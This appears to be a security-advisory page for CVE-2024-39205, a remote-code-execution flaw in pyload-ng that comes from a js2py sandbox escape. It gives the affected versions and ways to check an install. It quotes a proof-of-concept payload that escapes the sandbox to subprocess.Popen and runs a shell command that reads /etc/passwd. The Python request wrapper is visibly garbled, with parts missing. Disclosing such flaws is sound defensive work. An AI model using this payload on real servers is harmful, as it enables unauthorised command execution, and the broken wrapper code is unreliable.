PYLOAD-NG · CVE-2024-39205 · Package
NO FIX YET
pyload-ng passes requests to a js2py sandbox on its /flash/addcrypted2 endpoint, and js2py can be escaped to reach Python's subprocess module. An attacker who can reach the endpoint can run any shell command on the server.
first public Sep 7, 2024 · 2 sources
Check it with your coding agent
It reads this page and tells you if your code or app is affected.
Servers running pyload-ng up to and including 0.5.0b3.dev85 under Python 3.11 or lower are exposed, per the advisory. The advisory says pyload-ng does not use js2py on Python 3.12 or above, so those installs are not affected. The advisory says the endpoint is meant to accept only localhost connections, but the attacker can bypass that restriction with HTTP headers, so localhost-only deployments are not a complete safeguard.
Not affected if not-running-pyload-ng, python-3.12-or-above
Who cares pyload-ng, python, self-hosted
python3 --version; the advisory says the flaw applies to Python 3.11 and below.pip show pyload-ng; versions up to and including 0.5.0b3.dev85 are affected.No fix yet, per the sources.
Any pyload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will execute it immediately.
js2py has a vulnerability of sandbox escape assigned as CVE-2024-28397, which is used by the /flash/addcrypted2 API endpoint of pyload-ng. Although this endpoint is designed to only accept localhost connection, we can bypass this restriction using HTTP Header, thus accessing this API and achieve RCE.
The PoC is provided as poc.py below, you can modify the shell command it execute:
import socket
import base64
from urllib.parse import quote
host, port = input("host: "), int(input("port: "))
payload = """
// [+] command goes here:
let cmd = "head -n 1 /etc/passwd; calc; gnome-calculator;"
let hacked, bymarve, n11
let getattr, obj
hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__
function findpopen(o) {
let result;
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if(item.__name__ != "type" && (result = findpopen(item))) {
return result
}
}
}
n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
function f() {
return n11
}
"""
crypted_b64 = base64.b64encode().decode()
data =
request = .encode().replace(, )
():
s = socket.socket()
s.connect((host, port))
s.send(request)
response = s.recv().decode()
(response)
__name__ == :
main()
Are you affected?
Ask from here. InfraStack checks the affected versions against your stack and answers in your inbox.
InfraStack checks the affected versions against your stack and answers in Slack, with the evidence and the fix.
InfraStack checks it against your stack and answers on your report, with the evidence and the fix.
Anyone who runs the latest version (<=0.5.0b3.dev85) of pyload-ng under python3.11 or below. pyload-ng doesn't use js2py for python3.12 or above.
This page as .md · .json · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.